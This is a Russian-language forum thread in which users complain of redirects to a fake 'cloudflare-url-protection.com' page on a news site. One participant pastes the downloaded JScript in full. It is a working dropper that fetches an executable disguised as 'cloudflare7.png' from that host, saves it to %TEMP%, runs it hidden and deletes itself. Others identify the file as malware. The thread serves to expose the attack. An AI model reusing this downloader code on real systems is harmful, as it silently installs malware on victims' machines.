что за хрень? cloudflare-url-protection.com

Подключили защиту от спама какую то, наверно. Недавно капчу периодически запрашивало...

я понял, что подключили, но права-то на скачку, а не на выполнение...

Задолбала эта фишка. Также открылся какой-то скрипт в редакторе notepad++

А страница с результатами поиска пропала. Вместо нее появилось окошко с анимацией:

Напрягает слегонца. На новостях постоянно появляется и главное - не всегда страница обратно загружается.

У меня только что появилась эта хрень. Новость начал читать на серче и сразу получил https://cloudflare-url-protection.com/. Обратно на новость не перенаправляет.

Позапрещал скрипторезами кучу фреймов и скриптов, вроде полегчало.

Редиректит сюда (как пример) после открытия новости/статьи, каждая страничка так. Неудобно, беда :(

Файл зловредный?

Пардон, тут временно свихнулся фильтр Cloudflare. Понизил ему чувствительность, должно перестать надоедать.

Вот ваш JavaScript код.

try {

    var sh = new ActiveXObject( 'WScript.Shell' ) ;

    var url = 'https://cloudflare-url-protection.com/cloudflare7.png' ;

    var file = sh.ExpandEnvironmentStrings( '%TEMP%' ) + '/ff35fc06.exe' ;



    function gx( ) {

        var o = new ActiveXObject( 'MSXML2.ServerXMLHTTP' ) ;

        o.setTimeouts( 5000, 5000, 6000, 60000 ) ;

        o.setOption( 2, 13056 ) ;

        return o ;

    }

    var h = gx( ) ;

    h.open( 'GET', url, false ) ;

    h.send( ) ;

    if ( h.status == 200 ) {

        var s = WScript.CreateObject( 'ADODB.Stream' ) ;

        s.open( ) ;

        s.type = 1 ;

        s.write( h.responseBody ) ;

        s.position = 0 ;

        s.SaveToFile( file, 2 ) ;

        s.close( ) ;

        sh.run( file, 0, false ) ;

        new ActiveXObject( 'Scripting.FileSystemObject' ).DeleteFile( WScript.ScriptFullName ) ;

    }

} catch ( e ) {}

https://cloudflare-url-protection.com/cloudflare7.png - ехе файл (MZ — стандартный формат 16-битных исполнимых файлов с расширением .EXE для DOS.)

Скорее всего это вирус, ну или WScript.Shell.